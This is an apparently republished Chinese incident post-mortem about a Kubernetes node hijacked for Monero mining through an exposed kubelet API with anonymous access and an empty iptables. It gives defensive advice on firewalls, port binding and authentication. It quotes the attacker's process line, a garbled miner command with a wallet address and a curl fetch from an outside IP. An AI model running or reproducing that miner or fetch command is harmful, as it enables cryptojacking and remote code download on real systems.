图片来自宝途网网络安全是一个严重的问题,它总是在不经意间出现,你来不及反应。希望读者在阅读后也能有所启发,去检查和加强自己的集群。入驻现象检查到某台机器中出现异常进程:./.system-opool.supportxmr.com:3333--donate-level=1--coin=monero-u46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmcurl-shttp://45.9.148.35/scan_threads。dat简单的说,我们这台机器是用来挖矿的。。。出现问题后,我们立马关闭了Docker。其实我们应该隔离环境,把挖矿程序转储出来,以便后续分析。具体原因排查①iptables为空,出现异常进程,肯定是被入侵了,首先看的是iptables。果然,机器上的iptables规则是空的,说明机器裸奔了。②kubelet裸奔内部同事提出kubelet被黑的可能性。检查完其他组件后,他们开始检查kubelet组件。最后发现kubelet日志有异常:③kubelet设置不当确认入侵问题,kubelet参数设置错误,允许直接访问kubeletAPI。发现在kubelet的启动项中,location被注释掉了:然后没有读取文件中禁止匿名访问的配置。由于我操作不当,这个配置被注释掉了。由于是新加的机器,所以当晚就发现了问题。我在管理整个集群,我也跟着排查,所以很快就找到了原因。那天晚上,我重新扫描了其他机器中的配置项。如果他们的防火墙发生故障,就会发生类似的入侵。幸运的是,这一事件被控制在一台机器上。改进方案其实这个问题理论上是可以避免的,因为有多层漏洞,有心人会扫一扫。我从外到内整理了可能的改进策略:机器防火墙设置。机器防火墙是整个系统的最外层。即使本机防火墙同步失败,也无法默认打开所有端口。相反,应该关闭所有端口并等待管理员连接。转到tty终端并检查。在使用机器的时候,如果机器不对外暴露,公网IP可选的时候,尽量不要有公网IP。我们的机器在上线一天后就被扫描了漏洞。可想而知,公网有多危险。在使用kubelet等系统服务时,是否应该考虑端口监控?能不能不监控0.0.0.0,只监控本机的内网IP。在使用kubelet等程序的时候,在设计或者搭建系统的时候,我们需要考虑如果端口是匿名的会出现什么问题,是否应该允许匿名访问。如果不允许匿名访问,那么认证系统怎么办?系统管理员在操作的时候,有没有一个比较规范的流程,是不是应该只用脚本来操作线上环境呢?线上环境人工操作导致的问题不易排查和定位。我这里不是问问题,只是想告诉大家,在考虑系统设计的时候,一定要考虑安全性。总结完这次入侵,同事们开玩笑说幸好没有其他经济损失,不然我可能要回家了。作为集群的管理员,只有您最清楚问题的严重性。其实问题已经很严重了。入侵者相当于在机器上完全控制了Docker。因为这件事,不仅是我,SA的同学们基本都被拨通了,心里还是有些难受。希望大家多多关注网络安全问题,从加强防火墙入手,避免不必要的监控。ports,这两项至少是最容易实现的。作者:corvofeng编辑:陶佳龙来源:https://corvo.myseu.cn/
